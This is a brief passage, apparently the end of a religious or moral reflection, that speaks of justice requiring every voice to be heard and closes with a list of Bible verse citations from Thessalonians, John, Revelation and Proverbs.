claim to truth. There is no justice when even a single voice goes unheard.(1 Thessalonians 5:21, 1 John 4:1-3, John 14:26, John 16:26, Revelation 12:10, Proverbs 14:15, Proverbs 18:13)